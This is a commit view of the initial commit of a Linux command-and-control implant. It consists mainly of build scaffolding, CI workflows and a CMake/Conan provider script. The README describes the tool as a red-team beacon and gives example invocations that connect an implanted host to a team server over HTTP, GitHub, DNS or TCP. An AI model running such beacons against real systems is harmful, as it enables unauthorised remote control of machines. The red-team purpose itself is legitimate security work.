admin/maxDcb-C2LinuxImplant
1
0
Fork 0
mirror of https://github.com/maxDcb/C2LinuxImplant synced 2026-06-08 15:48:43 +00:00
Code Issues Packages Projects Releases Wiki Activity

initial commit

Browse Source
This commit is contained in:
maxdcb
2026-04-21 13:48:25 +02:00
commit 550ac473e6
34 changed files with 26461 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
.github/workflows/Release.yml
+58
View File
@@ -0,0 +1,58 @@
name: Release
on:
workflow_dispatch:
push:
tags:
- '*'
env:
# Customize the CMake build type here (Release, Debug, RelWithDebInfo, etc.)
BUILD_TYPE: Release
permissions:
contents: write
jobs:
buildAndRelease:
# The CMake configure and build commands are platform agnostic and should work equally well on Windows or Mac.
# You can convert this to a matrix build if you need cross-platform coverage.
# See: https://docs.github.com/en/free-pro-team@latest/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Update references
- name: Git Sumbodule Update
run: |
git submodule update --init
- name: Create default profile
run: conan profile detect
- name: Configure CMake
run: cmake -B ${{github.workspace}}/build -DWITH_TESTS=OFF -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake
- name: Build
run: cmake --build ${{github.workspace}}/build --config ${{env.BUILD_TYPE}} -j 18
- name: Prep release
shell: pwsh
run: |
rm .\Release\Beacons\.gitignore
mv .\Release\Beacons .\Release\LinuxBeacons
rm .\Release\Modules\.gitignore
mv .\Release\Modules .\Release\LinuxModules
Compress-Archive -Path .\Release -DestinationPath .\Release.zip
- name: Upload release
uses: svenstaro/upload-release-action@v2
with:
repo_token: ${{ secrets.GITHUB_TOKEN }}
file: Release.zip
asset_name: Release.zip
tag: ${{ github.ref }}
overwrite: true
body: "Linux beacons and modules"
.github/workflows/Tests.yml
+42
View File
@@ -0,0 +1,42 @@
name: Tests
on: workflow_dispatch
env:
# Customize the CMake build type here (Release, Debug, RelWithDebInfo, etc.)
BUILD_TYPE: Release
jobs:
buildAndTest:
# The CMake configure and build commands are platform agnostic and should work equally well on Windows or Mac.
# You can convert this to a matrix build if you need cross-platform coverage.
# See: https://docs.github.com/en/free-pro-team@latest/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Update references
- name: Git Sumbodule Update
run: |
git submodule update --init
- name: Create default profile
run: conan profile detect
- name: Configure CMake
run: cmake -B ${{github.workspace}}/build -DWITH_TESTS=ON -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake
- name: Build
run: cmake --build ${{github.workspace}}/build --config ${{env.BUILD_TYPE}} -j 18
- name: Run unit tests
run: ctest --test-dir build -C Release
- name: Configure CMake like the release
run: cmake -B ${{github.workspace}}/buildRelease -DWITH_TESTS=OFF -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake
- name: Build like the release
run: cmake --build ${{github.workspace}}/buildRelease -j 18
.gitignore
+1
View File
@@ -0,0 +1 @@
build*
.gitmodules
+15
View File
@@ -0,0 +1,15 @@
[submodule "core"]
path = core
url = https://github.com/maxDcb/C2Core.git
[submodule "libs/libSocks5"]
path = libs/libSocks5
url = https://github.com/maxDcb/libSocks5.git
[submodule "libs/libDns"]
path = libs/libDns
url = https://github.com/maxDcb/Dnscommunication
[submodule "thirdParty/base64"]
path = thirdParty/base64
url = https://github.com/ReneNyffenegger/cpp-base64.git
[submodule "thirdParty/donut"]
path = thirdParty/donut
url = https://github.com/maxDcb/donut.git
CMakeLists.txt
+60
View File
@@ -0,0 +1,60 @@
cmake_minimum_required(VERSION 3.24.0 FATAL_ERROR)
project(C2LinuxImplant VERSION 0.0.0 LANGUAGES CXX C)
set(CMAKE_BUILD_TYPE Release)
set(CMAKE_CXX_STANDARD 23)
##
## Conan Dependencies
##
set(CMAKE_PREFIX_PATH ${CMAKE_BINARY_DIR})
find_package(Boost REQUIRED)
find_package(OpenSSL REQUIRED)
find_package(httplib REQUIRED)
include_directories(${CMAKE_INCLUDE_PATH})
include_directories(thirdParty)
##
## Config Tests et Logs
##
option(WITH_TESTS "Compile for tests" OFF)
message(STATUS "WITH_TESTS is set to ${WITH_TESTS}")
add_definitions(-DBUILD_IMPLANT)
if(NOT WITH_TESTS)
message(STATUS "[-] Tests are disabled.")
else()
message(STATUS "[+] Tests are enabled.")
add_definitions(-DBUILD_TESTS)
endif()
##
## Build
##
add_subdirectory(libs)
add_subdirectory(thirdParty)
include_directories(thirdParty/base64)
include_directories(thirdParty/donut/include)
if(WITH_TESTS)
enable_testing()
endif()
add_subdirectory(core/modules)
add_subdirectory(core/beacon)
if(WITH_TESTS)
add_subdirectory(core/beacon/tests)
add_subdirectory(core/listener/tests)
endif()
LICENSE
+5
View File
@@ -0,0 +1,5 @@
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
README.md
+61
View File
@@ -0,0 +1,61 @@
# Exploration C2 Linux Implant
## What it is
Exploration is a redteam Command and Control framework.
This repository contain the Beacon in C++ to target linux.
The TeamServer and Client can be found in [C2TeamServer](https://github.com/maxDcb/C2TeamServer).
This project contains multiple beacon communicating with the TeamServer thought different means, here is some example:
```
# HTTP/HTTPS
BeaconHttp IP_TEAMSERVER PORT_LISTENER http/https
BeaconHttp 10.10.10.10 8443 https
BeaconHttp 10.10.10.10 8080 http
# Github
BeaconGithub user/project TOKEN
BeaconGithub maxDcb/C2Implant ghp_dsfgdfhdf5554456g4fdg465...
# Dns
BeaconDns DNS_SERVER DOM_TEAMSERVER
BeaconDns 8.8.8.8 bac.superdomain.com
# Tcp
BeaconTcp IP_LISTENER PORT_LISTENER
BeaconTcp 127.0.0.1 4444
```
## Build
### Sumbodule & External Projects:
* [Donut](https://github.com/TheWover/donut): Creat shellcode from PE files.
* [CoffLoader](https://github.com/trustedsec/COFFLoader): Run object files from [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF).
* [cpp-base64](https://github.com/ReneNyffenegger/cpp-base64): base64.
* [json](https://github.com/nlohmann/json): json parser.
### Build the Linux Beacons and Modules
git submodule update --init
mkdir build
cd build
```
# With tests and logs
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=ON
# Without tests and logs
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=OFF
make -j4
```
#### Production
Beacons are in: "Release\Beacons"
Modules DLL in: "Release\Modules"
Release/Beacons/.gitignore
+2
View File
@@ -0,0 +1,2 @@
*
!.gitignore
Release/Modules/.gitignore
+2
View File
@@ -0,0 +1,2 @@
*
!.gitignore
Tests/.gitignore
+2
View File
@@ -0,0 +1,2 @@
*
!.gitignore
conan_provider.cmake
+649
View File
@@ -0,0 +1,649 @@
# The MIT License (MIT)
#
# Copyright (c) 2024 JFrog
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
set(CONAN_MINIMUM_VERSION 2.0.5)
function(detect_os OS OS_API_LEVEL OS_SDK OS_SUBSYSTEM OS_VERSION)
# it could be cross compilation
message(STATUS "CMake-Conan: cmake_system_name=${CMAKE_SYSTEM_NAME}")
if(CMAKE_SYSTEM_NAME AND NOT CMAKE_SYSTEM_NAME STREQUAL "Generic")
if(CMAKE_SYSTEM_NAME STREQUAL "Darwin")
set(${OS} Macos PARENT_SCOPE)
elseif(CMAKE_SYSTEM_NAME STREQUAL "QNX")
set(${OS} Neutrino PARENT_SCOPE)
elseif(CMAKE_SYSTEM_NAME STREQUAL "CYGWIN")
set(${OS} Windows PARENT_SCOPE)
set(${OS_SUBSYSTEM} cygwin PARENT_SCOPE)
elseif(CMAKE_SYSTEM_NAME MATCHES "^MSYS")
set(${OS} Windows PARENT_SCOPE)
set(${OS_SUBSYSTEM} msys2 PARENT_SCOPE)
else()
set(${OS} ${CMAKE_SYSTEM_NAME} PARENT_SCOPE)
endif()
if(CMAKE_SYSTEM_NAME STREQUAL "Android")
if(DEFINED ANDROID_PLATFORM)
string(REGEX MATCH "[0-9]+" _OS_API_LEVEL ${ANDROID_PLATFORM})
elseif(DEFINED CMAKE_SYSTEM_VERSION)
set(_OS_API_LEVEL ${CMAKE_SYSTEM_VERSION})
endif()
message(STATUS "CMake-Conan: android api level=${_OS_API_LEVEL}")
set(${OS_API_LEVEL} ${_OS_API_LEVEL} PARENT_SCOPE)
endif()
if(CMAKE_SYSTEM_NAME MATCHES "Darwin|iOS|tvOS|watchOS")
# CMAKE_OSX_SYSROOT contains the full path to the SDK for MakeFile/Ninja
# generators, but just has the original input string for Xcode.
if(NOT IS_DIRECTORY ${CMAKE_OSX_SYSROOT})
set(_OS_SDK ${CMAKE_OSX_SYSROOT})
else()
if(CMAKE_OSX_SYSROOT MATCHES Simulator)
set(apple_platform_suffix simulator)
else()
set(apple_platform_suffix os)
endif()
if(CMAKE_OSX_SYSROOT MATCHES AppleTV)
set(_OS_SDK "appletv${apple_platform_suffix}")
elseif(CMAKE_OSX_SYSROOT MATCHES iPhone)
set(_OS_SDK "iphone${apple_platform_suffix}")
elseif(CMAKE_OSX_SYSROOT MATCHES Watch)
set(_OS_SDK "watch${apple_platform_suffix}")
endif()
endif()
if(DEFINED _OS_SDK)
message(STATUS "CMake-Conan: cmake_osx_sysroot=${CMAKE_OSX_SYSROOT}")
set(${OS_SDK} ${_OS_SDK} PARENT_SCOPE)
endif()
if(DEFINED CMAKE_OSX_DEPLOYMENT_TARGET)
message(STATUS "CMake-Conan: cmake_osx_deployment_target=${CMAKE_OSX_DEPLOYMENT_TARGET}")
set(${OS_VERSION} ${CMAKE_OSX_DEPLOYMENT_TARGET} PARENT_SCOPE)
endif()
endif()
endif()
endfunction()
function(detect_arch ARCH)
# CMAKE_OSX_ARCHITECTURES can contain multiple architectures, but Conan only supports one.
# Therefore this code only finds one. If the recipes support multiple architectures, the
# build will work. Otherwise, there will be a linker error for the missing architecture(s).
if(DEFINED CMAKE_OSX_ARCHITECTURES)
string(REPLACE " " ";" apple_arch_list "${CMAKE_OSX_ARCHITECTURES}")
list(LENGTH apple_arch_list apple_arch_count)
if(apple_arch_count GREATER 1)
message(WARNING "CMake-Conan: Multiple architectures detected, this will only work if Conan recipe(s) produce fat binaries.")
endif()
endif()
if(CMAKE_SYSTEM_NAME MATCHES "Darwin|iOS|tvOS|watchOS" AND NOT CMAKE_OSX_ARCHITECTURES STREQUAL "")
set(host_arch ${CMAKE_OSX_ARCHITECTURES})
elseif(MSVC)
set(host_arch ${CMAKE_CXX_COMPILER_ARCHITECTURE_ID})
else()
set(host_arch ${CMAKE_SYSTEM_PROCESSOR})
endif()
if(host_arch MATCHES "aarch64|arm64|ARM64")
set(_ARCH armv8)
elseif(host_arch MATCHES "armv7|armv7-a|armv7l|ARMV7")
set(_ARCH armv7)
elseif(host_arch MATCHES armv7s)
set(_ARCH armv7s)
elseif(host_arch MATCHES "i686|i386|X86")
set(_ARCH x86)
elseif(host_arch MATCHES "AMD64|amd64|x86_64|x64")
set(_ARCH x86_64)
endif()
message(STATUS "CMake-Conan: cmake_system_processor=${_ARCH}")
set(${ARCH} ${_ARCH} PARENT_SCOPE)
endfunction()
function(detect_cxx_standard CXX_STANDARD)
set(${CXX_STANDARD} ${CMAKE_CXX_STANDARD} PARENT_SCOPE)
if(CMAKE_CXX_EXTENSIONS)
set(${CXX_STANDARD} "gnu${CMAKE_CXX_STANDARD}" PARENT_SCOPE)
endif()
endfunction()
macro(detect_gnu_libstdcxx)
# _CONAN_IS_GNU_LIBSTDCXX true if GNU libstdc++
check_cxx_source_compiles("
#include <cstddef>
#if !defined(__GLIBCXX__) && !defined(__GLIBCPP__)
static_assert(false);
#endif
int main(){}" _CONAN_IS_GNU_LIBSTDCXX)
# _CONAN_GNU_LIBSTDCXX_IS_CXX11_ABI true if C++11 ABI
check_cxx_source_compiles("
#include <string>
static_assert(sizeof(std::string) != sizeof(void*), \"using libstdc++\");
int main () {}" _CONAN_GNU_LIBSTDCXX_IS_CXX11_ABI)
set(_CONAN_GNU_LIBSTDCXX_SUFFIX "")
if(_CONAN_GNU_LIBSTDCXX_IS_CXX11_ABI)
set(_CONAN_GNU_LIBSTDCXX_SUFFIX "11")
endif()
unset (_CONAN_GNU_LIBSTDCXX_IS_CXX11_ABI)
endmacro()
macro(detect_libcxx)
# _CONAN_IS_LIBCXX true if LLVM libc++
check_cxx_source_compiles("
#include <cstddef>
#if !defined(_LIBCPP_VERSION)
static_assert(false);
#endif
int main(){}" _CONAN_IS_LIBCXX)
endmacro()
function(detect_lib_cxx LIB_CXX)
if(CMAKE_SYSTEM_NAME STREQUAL "Android")
message(STATUS "CMake-Conan: android_stl=${CMAKE_ANDROID_STL_TYPE}")
set(${LIB_CXX} ${CMAKE_ANDROID_STL_TYPE} PARENT_SCOPE)
return()
endif()
include(CheckCXXSourceCompiles)
if(CMAKE_CXX_COMPILER_ID MATCHES "GNU")
detect_gnu_libstdcxx()
set(${LIB_CXX} "libstdc++${_CONAN_GNU_LIBSTDCXX_SUFFIX}" PARENT_SCOPE)
elseif(CMAKE_CXX_COMPILER_ID MATCHES "AppleClang")
set(${LIB_CXX} "libc++" PARENT_SCOPE)
elseif(CMAKE_CXX_COMPILER_ID MATCHES "Clang" AND NOT CMAKE_SYSTEM_NAME MATCHES "Windows")
# Check for libc++
detect_libcxx()
if(_CONAN_IS_LIBCXX)
set(${LIB_CXX} "libc++" PARENT_SCOPE)
return()
endif()
# Check for libstdc++
detect_gnu_libstdcxx()
if(_CONAN_IS_GNU_LIBSTDCXX)
set(${LIB_CXX} "libstdc++${_CONAN_GNU_LIBSTDCXX_SUFFIX}" PARENT_SCOPE)
return()
endif()
# TODO: it would be an error if we reach this point
elseif(CMAKE_CXX_COMPILER_ID MATCHES "MSVC")
# Do nothing - compiler.runtime and compiler.runtime_type
# should be handled separately: https://github.com/conan-io/cmake-conan/pull/516
return()
else()
# TODO: unable to determine, ask user to provide a full profile file instead
endif()
endfunction()
function(detect_compiler COMPILER COMPILER_VERSION COMPILER_RUNTIME COMPILER_RUNTIME_TYPE)
if(DEFINED CMAKE_CXX_COMPILER_ID)
set(_COMPILER ${CMAKE_CXX_COMPILER_ID})
set(_COMPILER_VERSION ${CMAKE_CXX_COMPILER_VERSION})
else()
if(NOT DEFINED CMAKE_C_COMPILER_ID)
message(FATAL_ERROR "C or C++ compiler not defined")
endif()
set(_COMPILER ${CMAKE_C_COMPILER_ID})
set(_COMPILER_VERSION ${CMAKE_C_COMPILER_VERSION})
endif()
message(STATUS "CMake-Conan: CMake compiler=${_COMPILER}")
message(STATUS "CMake-Conan: CMake compiler version=${_COMPILER_VERSION}")
if(_COMPILER MATCHES MSVC)
set(_COMPILER "msvc")
string(SUBSTRING ${MSVC_VERSION} 0 3 _COMPILER_VERSION)
# Configure compiler.runtime and compiler.runtime_type settings for MSVC
if(CMAKE_MSVC_RUNTIME_LIBRARY)
set(_msvc_runtime_library ${CMAKE_MSVC_RUNTIME_LIBRARY})
else()
set(_msvc_runtime_library MultiThreaded$<$<CONFIG:Debug>:Debug>DLL) # default value documented by CMake
endif()
set(_KNOWN_MSVC_RUNTIME_VALUES "")
list(APPEND _KNOWN_MSVC_RUNTIME_VALUES MultiThreaded MultiThreadedDLL)
list(APPEND _KNOWN_MSVC_RUNTIME_VALUES MultiThreadedDebug MultiThreadedDebugDLL)
list(APPEND _KNOWN_MSVC_RUNTIME_VALUES MultiThreaded$<$<CONFIG:Debug>:Debug> MultiThreaded$<$<CONFIG:Debug>:Debug>DLL)
# only accept the 6 possible values, otherwise we don't don't know to map this
if(NOT _msvc_runtime_library IN_LIST _KNOWN_MSVC_RUNTIME_VALUES)
message(FATAL_ERROR "CMake-Conan: unable to map MSVC runtime: ${_msvc_runtime_library} to Conan settings")
endif()
# Runtime is "dynamic" in all cases if it ends in DLL
if(_msvc_runtime_library MATCHES ".*DLL$")
set(_COMPILER_RUNTIME "dynamic")
else()
set(_COMPILER_RUNTIME "static")
endif()
message(STATUS "CMake-Conan: CMake compiler.runtime=${_COMPILER_RUNTIME}")
# Only define compiler.runtime_type when explicitly requested
# If a generator expression is used, let Conan handle it conditional on build_type
if(NOT _msvc_runtime_library MATCHES "<CONFIG:Debug>:Debug>")
if(_msvc_runtime_library MATCHES "Debug")
set(_COMPILER_RUNTIME_TYPE "Debug")
else()
set(_COMPILER_RUNTIME_TYPE "Release")
endif()
message(STATUS "CMake-Conan: CMake compiler.runtime_type=${_COMPILER_RUNTIME_TYPE}")
endif()
unset(_KNOWN_MSVC_RUNTIME_VALUES)
elseif(_COMPILER MATCHES AppleClang)
set(_COMPILER "apple-clang")
string(REPLACE "." ";" VERSION_LIST ${CMAKE_CXX_COMPILER_VERSION})
list(GET VERSION_LIST 0 _COMPILER_VERSION)
elseif(_COMPILER MATCHES Clang)
set(_COMPILER "clang")
string(REPLACE "." ";" VERSION_LIST ${CMAKE_CXX_COMPILER_VERSION})
list(GET VERSION_LIST 0 _COMPILER_VERSION)
elseif(_COMPILER MATCHES GNU)
set(_COMPILER "gcc")
string(REPLACE "." ";" VERSION_LIST ${CMAKE_CXX_COMPILER_VERSION})
list(GET VERSION_LIST 0 _COMPILER_VERSION)
endif()
message(STATUS "CMake-Conan: [settings] compiler=${_COMPILER}")
message(STATUS "CMake-Conan: [settings] compiler.version=${_COMPILER_VERSION}")
if (_COMPILER_RUNTIME)
message(STATUS "CMake-Conan: [settings] compiler.runtime=${_COMPILER_RUNTIME}")
endif()
if (_COMPILER_RUNTIME_TYPE)
message(STATUS "CMake-Conan: [settings] compiler.runtime_type=${_COMPILER_RUNTIME_TYPE}")
endif()
set(${COMPILER} ${_COMPILER} PARENT_SCOPE)
set(${COMPILER_VERSION} ${_COMPILER_VERSION} PARENT_SCOPE)
set(${COMPILER_RUNTIME} ${_COMPILER_RUNTIME} PARENT_SCOPE)
set(${COMPILER_RUNTIME_TYPE} ${_COMPILER_RUNTIME_TYPE} PARENT_SCOPE)
endfunction()
function(detect_build_type BUILD_TYPE)
get_property(_MULTICONFIG_GENERATOR GLOBAL PROPERTY GENERATOR_IS_MULTI_CONFIG)
if(NOT _MULTICONFIG_GENERATOR)
# Only set when we know we are in a single-configuration generator
# Note: we may want to fail early if `CMAKE_BUILD_TYPE` is not defined
set(${BUILD_TYPE} ${CMAKE_BUILD_TYPE} PARENT_SCOPE)
endif()
endfunction()
macro(set_conan_compiler_if_appleclang lang command output_variable)
if(CMAKE_${lang}_COMPILER_ID STREQUAL "AppleClang")
execute_process(COMMAND xcrun --find ${command}
OUTPUT_VARIABLE _xcrun_out OUTPUT_STRIP_TRAILING_WHITESPACE)
cmake_path(GET _xcrun_out PARENT_PATH _xcrun_toolchain_path)
cmake_path(GET CMAKE_${lang}_COMPILER PARENT_PATH _compiler_parent_path)
if ("${_xcrun_toolchain_path}" STREQUAL "${_compiler_parent_path}")
set(${output_variable} "")
endif()
unset(_xcrun_out)
unset(_xcrun_toolchain_path)
unset(_compiler_parent_path)
endif()
endmacro()
macro(append_compiler_executables_configuration)
set(_conan_c_compiler "")
set(_conan_cpp_compiler "")
if(CMAKE_C_COMPILER)
set(_conan_c_compiler "\"c\":\"${CMAKE_C_COMPILER}\",")
set_conan_compiler_if_appleclang(C cc _conan_c_compiler)
else()
message(WARNING "CMake-Conan: The C compiler is not defined. "
"Please define CMAKE_C_COMPILER or enable the C language.")
endif()
if(CMAKE_CXX_COMPILER)
set(_conan_cpp_compiler "\"cpp\":\"${CMAKE_CXX_COMPILER}\"")
set_conan_compiler_if_appleclang(CXX c++ _conan_cpp_compiler)
else()
message(WARNING "CMake-Conan: The C++ compiler is not defined. "
"Please define CMAKE_CXX_COMPILER or enable the C++ language.")
endif()
if(NOT "x${_conan_c_compiler}${_conan_cpp_compiler}" STREQUAL "x")
string(APPEND PROFILE "tools.build:compiler_executables={${_conan_c_compiler}${_conan_cpp_compiler}}\n")
endif()
unset(_conan_c_compiler)
unset(_conan_cpp_compiler)
endmacro()
function(detect_host_profile output_file)
detect_os(MYOS MYOS_API_LEVEL MYOS_SDK MYOS_SUBSYSTEM MYOS_VERSION)
detect_arch(MYARCH)
detect_compiler(MYCOMPILER MYCOMPILER_VERSION MYCOMPILER_RUNTIME MYCOMPILER_RUNTIME_TYPE)
detect_cxx_standard(MYCXX_STANDARD)
detect_lib_cxx(MYLIB_CXX)
detect_build_type(MYBUILD_TYPE)
set(PROFILE "")
string(APPEND PROFILE "[settings]\n")
if(MYARCH)
string(APPEND PROFILE arch=${MYARCH} "\n")
endif()
if(MYOS)
string(APPEND PROFILE os=${MYOS} "\n")
endif()
if(MYOS_API_LEVEL)
string(APPEND PROFILE os.api_level=${MYOS_API_LEVEL} "\n")
endif()
if(MYOS_VERSION)
string(APPEND PROFILE os.version=${MYOS_VERSION} "\n")
endif()
if(MYOS_SDK)
string(APPEND PROFILE os.sdk=${MYOS_SDK} "\n")
endif()
if(MYOS_SUBSYSTEM)
string(APPEND PROFILE os.subsystem=${MYOS_SUBSYSTEM} "\n")
endif()
if(MYCOMPILER)
string(APPEND PROFILE compiler=${MYCOMPILER} "\n")
endif()
if(MYCOMPILER_VERSION)
string(APPEND PROFILE compiler.version=${MYCOMPILER_VERSION} "\n")
endif()
if(MYCOMPILER_RUNTIME)
string(APPEND PROFILE compiler.runtime=${MYCOMPILER_RUNTIME} "\n")
endif()
if(MYCOMPILER_RUNTIME_TYPE)
string(APPEND PROFILE compiler.runtime_type=${MYCOMPILER_RUNTIME_TYPE} "\n")
endif()
if(MYCXX_STANDARD)
string(APPEND PROFILE compiler.cppstd=${MYCXX_STANDARD} "\n")
endif()
if(MYLIB_CXX)
string(APPEND PROFILE compiler.libcxx=${MYLIB_CXX} "\n")
endif()
if(MYBUILD_TYPE)
string(APPEND PROFILE "build_type=${MYBUILD_TYPE}\n")
endif()
if(NOT DEFINED output_file)
set(_FN "${CMAKE_BINARY_DIR}/profile")
else()
set(_FN ${output_file})
endif()
string(APPEND PROFILE "[conf]\n")
string(APPEND PROFILE "tools.cmake.cmaketoolchain:generator=${CMAKE_GENERATOR}\n")
# propagate compilers via profile
append_compiler_executables_configuration()
if(MYOS STREQUAL "Android")
string(APPEND PROFILE "tools.android:ndk_path=${CMAKE_ANDROID_NDK}\n")
endif()
message(STATUS "CMake-Conan: Creating profile ${_FN}")
file(WRITE ${_FN} ${PROFILE})
message(STATUS "CMake-Conan: Profile: \n${PROFILE}")
endfunction()
function(conan_profile_detect_default)
message(STATUS "CMake-Conan: Checking if a default profile exists")
execute_process(COMMAND ${CONAN_COMMAND} profile path default
RESULT_VARIABLE return_code
OUTPUT_VARIABLE conan_stdout
ERROR_VARIABLE conan_stderr
ECHO_ERROR_VARIABLE # show the text output regardless
ECHO_OUTPUT_VARIABLE
WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR})
if(NOT ${return_code} EQUAL "0")
message(STATUS "CMake-Conan: The default profile doesn't exist, detecting it.")
execute_process(COMMAND ${CONAN_COMMAND} profile detect
RESULT_VARIABLE return_code
OUTPUT_VARIABLE conan_stdout
ERROR_VARIABLE conan_stderr
ECHO_ERROR_VARIABLE # show the text output regardless
ECHO_OUTPUT_VARIABLE
WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR})
endif()
endfunction()
function(conan_install)
cmake_parse_arguments(ARGS CONAN_ARGS ${ARGN})
set(CONAN_OUTPUT_FOLDER ${CMAKE_BINARY_DIR}/conan)
# Invoke "conan install" with the provided arguments
set(CONAN_ARGS ${CONAN_ARGS} -of=${CONAN_OUTPUT_FOLDER})
message(STATUS "CMake-Conan: conan install ${CMAKE_SOURCE_DIR} ${CONAN_ARGS} ${ARGN}")
# In case there was not a valid cmake executable in the PATH, we inject the
# same we used to invoke the provider to the PATH
if(DEFINED PATH_TO_CMAKE_BIN)
set(_OLD_PATH $ENV{PATH})
set(ENV{PATH} "$ENV{PATH}:${PATH_TO_CMAKE_BIN}")
endif()
execute_process(COMMAND ${CONAN_COMMAND} install ${CMAKE_SOURCE_DIR} ${CONAN_ARGS} ${ARGN} --format=json
RESULT_VARIABLE return_code
OUTPUT_VARIABLE conan_stdout
ERROR_VARIABLE conan_stderr
ECHO_ERROR_VARIABLE # show the text output regardless
WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR})
if(DEFINED PATH_TO_CMAKE_BIN)
set(ENV{PATH} "${_OLD_PATH}")
endif()
if(NOT "${return_code}" STREQUAL "0")
message(FATAL_ERROR "Conan install failed='${return_code}'")
endif()
# the files are generated in a folder that depends on the layout used, if
# one is specified, but we don't know a priori where this is.
# TODO: this can be made more robust if Conan can provide this in the json output
string(JSON CONAN_GENERATORS_FOLDER GET ${conan_stdout} graph nodes 0 generators_folder)
cmake_path(CONVERT ${CONAN_GENERATORS_FOLDER} TO_CMAKE_PATH_LIST CONAN_GENERATORS_FOLDER)
# message("conan stdout: ${conan_stdout}")
message(STATUS "CMake-Conan: CONAN_GENERATORS_FOLDER=${CONAN_GENERATORS_FOLDER}")
set_property(GLOBAL PROPERTY CONAN_GENERATORS_FOLDER "${CONAN_GENERATORS_FOLDER}")
# reconfigure on conanfile changes
string(JSON CONANFILE GET ${conan_stdout} graph nodes 0 label)
message(STATUS "CMake-Conan: CONANFILE=${CMAKE_SOURCE_DIR}/${CONANFILE}")
set_property(DIRECTORY ${CMAKE_SOURCE_DIR} APPEND PROPERTY CMAKE_CONFIGURE_DEPENDS "${CMAKE_SOURCE_DIR}/${CONANFILE}")
# success
set_property(GLOBAL PROPERTY CONAN_INSTALL_SUCCESS TRUE)
endfunction()
function(conan_get_version conan_command conan_current_version)
execute_process(
COMMAND ${conan_command} --version
OUTPUT_VARIABLE conan_output
RESULT_VARIABLE conan_result
OUTPUT_STRIP_TRAILING_WHITESPACE
)
if(conan_result)
message(FATAL_ERROR "CMake-Conan: Error when trying to run Conan")
endif()
string(REGEX MATCH "[0-9]+\\.[0-9]+\\.[0-9]+" conan_version ${conan_output})
set(${conan_current_version} ${conan_version} PARENT_SCOPE)
endfunction()
function(conan_version_check)
set(options )
set(oneValueArgs MINIMUM CURRENT)
set(multiValueArgs )
cmake_parse_arguments(CONAN_VERSION_CHECK
"${options}" "${oneValueArgs}" "${multiValueArgs}" ${ARGN})
if(NOT CONAN_VERSION_CHECK_MINIMUM)
message(FATAL_ERROR "CMake-Conan: Required parameter MINIMUM not set!")
endif()
if(NOT CONAN_VERSION_CHECK_CURRENT)
message(FATAL_ERROR "CMake-Conan: Required parameter CURRENT not set!")
endif()
if(CONAN_VERSION_CHECK_CURRENT VERSION_LESS CONAN_VERSION_CHECK_MINIMUM)
message(FATAL_ERROR "CMake-Conan: Conan version must be ${CONAN_VERSION_CHECK_MINIMUM} or later")
endif()
endfunction()
macro(construct_profile_argument argument_variable profile_list)
set(${argument_variable} "")
if("${profile_list}" STREQUAL "CONAN_HOST_PROFILE")
set(_arg_flag "--profile:host=")
elseif("${profile_list}" STREQUAL "CONAN_BUILD_PROFILE")
set(_arg_flag "--profile:build=")
endif()
set(_profile_list "${${profile_list}}")
list(TRANSFORM _profile_list REPLACE "auto-cmake" "${CMAKE_BINARY_DIR}/conan_host_profile")
list(TRANSFORM _profile_list PREPEND ${_arg_flag})
set(${argument_variable} ${_profile_list})
unset(_arg_flag)
unset(_profile_list)
endmacro()
macro(conan_provide_dependency method package_name)
set_property(GLOBAL PROPERTY CONAN_PROVIDE_DEPENDENCY_INVOKED TRUE)
get_property(_conan_install_success GLOBAL PROPERTY CONAN_INSTALL_SUCCESS)
if(NOT _conan_install_success)
find_program(CONAN_COMMAND "conan" REQUIRED)
conan_get_version(${CONAN_COMMAND} CONAN_CURRENT_VERSION)
conan_version_check(MINIMUM ${CONAN_MINIMUM_VERSION} CURRENT ${CONAN_CURRENT_VERSION})
